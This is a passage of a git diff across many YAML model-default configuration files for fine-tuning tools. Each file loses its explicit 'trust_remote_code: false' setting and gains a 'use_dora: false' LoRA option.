b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: tiiuae/Falcon-H1-0.5B-Instruct, unsloth/Falcon-H1-0.5B-Instruct training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml index 62836dc0cd..e5f3344356 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,6 +45,5 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0 top_p: 0.9 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml index f97a842d2a..71c61f383a 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml index 56f10cdc4f..3fe29cd800 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml @@ -2,7 +2,6 @@ # Based on Gemma2_(9B)-Alpaca.ipynb (same defaults for larger models) training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -34,6 +33,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -41,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml index a4acbe9262..cd4e3e0c4d 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/gemma-2-2b-bnb-4bit, google/gemma-2-2b training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml index 455407abf8..97aa10e861 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml index 2bcdf67c15..a1b1640fa2 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml index 7c123da0b8..dbf60f04d4 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml index 492c42812e..54c7dd6cd4 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 2 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml index 23d00df752..119440a585 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 1024 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -45,7 +45,6 @@ logging: audio_input: true inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml index bf5e111b7d..d08e5e9547 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 2 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -45,7 +45,6 @@ logging: audio_input: true inference: - trust_remote_code: false temperature: 1.0 top_k: 64 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml index c80506d9f5..a266d7a39b 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-26B-A4B-it, unsloth/gemma-4-26B-A4B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml index 9e579be503..970cac3259 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-26B-A4B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml index cec4ea95e1..5bba4ccdc0 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-31B-it, unsloth/gemma-4-31B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml index 717cdd5e63..ac5c6eca22 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-31B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml index 43e3d78a23..68c2d35644 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E2B-it, unsloth/gemma-4-E2B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml index bd86cef751..175f9c0f17 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E2B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml index a8ef51836b..4f3834e7c0 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E4B-it, unsloth/gemma-4-E4B-it-GGUF training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml index 740cc99df5..d6d97f7e44 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml @@ -2,7 +2,6 @@ # Also applies to: google/gemma-4-E4B training: - trust_remote_code: false max_seq_length: 2048 num_epochs: 0 learning_rate: 2e-4 @@ -27,6 +26,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 0.95 top_k: 64 diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml index bd39e70a96..4f1f54a4e6 100644 --- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml +++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml index 839e9a5b75..127700b53b 100644 --- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml +++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 1024 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml index 9557fc296f..2412b3accf 100644 --- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -38,6 +37,7 @@ lora: - "shared_mlp.output_linear" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -47,7 +47,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml index ce73c6a8ee..81b59c4323 100644 --- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml +++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -38,6 +37,7 @@ lora: - "shared_mlp.output_linear" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -47,7 +47,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.0 top_p: 1.0 top_k: 0 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml index d9a75c391d..6110d84a6c 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml index 2bc3f6f871..3c7fc7f238 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Llama-3.2-1B-Instruct-unsloth-bnb-4bit, meta-llama/Llama-3.2-1B-Instruct, unsloth/Llama-3.2-1B-Instruct-bnb-4bit, RedHatAI/Llama-3.2-1B-Instruct-FP8, unsloth/Llama-3.2-1B-Instruct-FP8-Block, unsloth/Llama-3.2-1B-Instruct-FP8-Dynamic training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 5 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml index 82091c7d35..2b0977e435 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml index 5a014a63bf..1742c04a06 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml index 885f7b47fd..f33726b0dd 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Meta-Llama-3.1-8B-bnb-4bit, unsloth/Meta-Llama-3.1-8B-unsloth-bnb-4bit, meta-llama/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-70B, meta-llama/Meta-Llama-3.1-70B, unsloth/Meta-Llama-3.1-405B-bnb-4bit, meta-llama/Meta-Llama-3.1-405B training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml index 1ff06cca6f..79b30bd758 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Meta-Llama-3.1-8B-Instruct-unsloth-bnb-4bit", "meta-llama/Meta-Llama-3.1-8B-Instruct", "unsloth/Meta-Llama-3.1-8B-Instruct","RedHatAI/Llama-3.1-8B-Instruct-FP8","unsloth/Llama-3.1-8B-Instruct-FP8-Block","unsloth/Llama-3.1-8B-Instruct-FP8-Dynamic" training: - trust_remote_code: false max_seq_length: 8192 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml index 95ee5ead5c..4ee9a5a8ed 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/llama-3-8b-Instruct, meta-llama/Meta-Llama-3-8B-Instruct training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml index a05ac86f43..da20663688 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/llama-3-8b, meta-llama/Meta-Llama-3-8B training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -35,6 +34,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -42,6 +42,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml index 1f473c3af1..30e4440afb 100644 --- a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml +++ b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -31,6 +30,7 @@ lora: - "v_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -40,7 +40,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.2 top_p: 1.2 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml index 5a53bb52eb..9bb0a93e63 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -49,7 +49,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 min_p: 0.01 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml index b84f7e1abb..ded3607a14 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -49,7 +49,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.15 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml 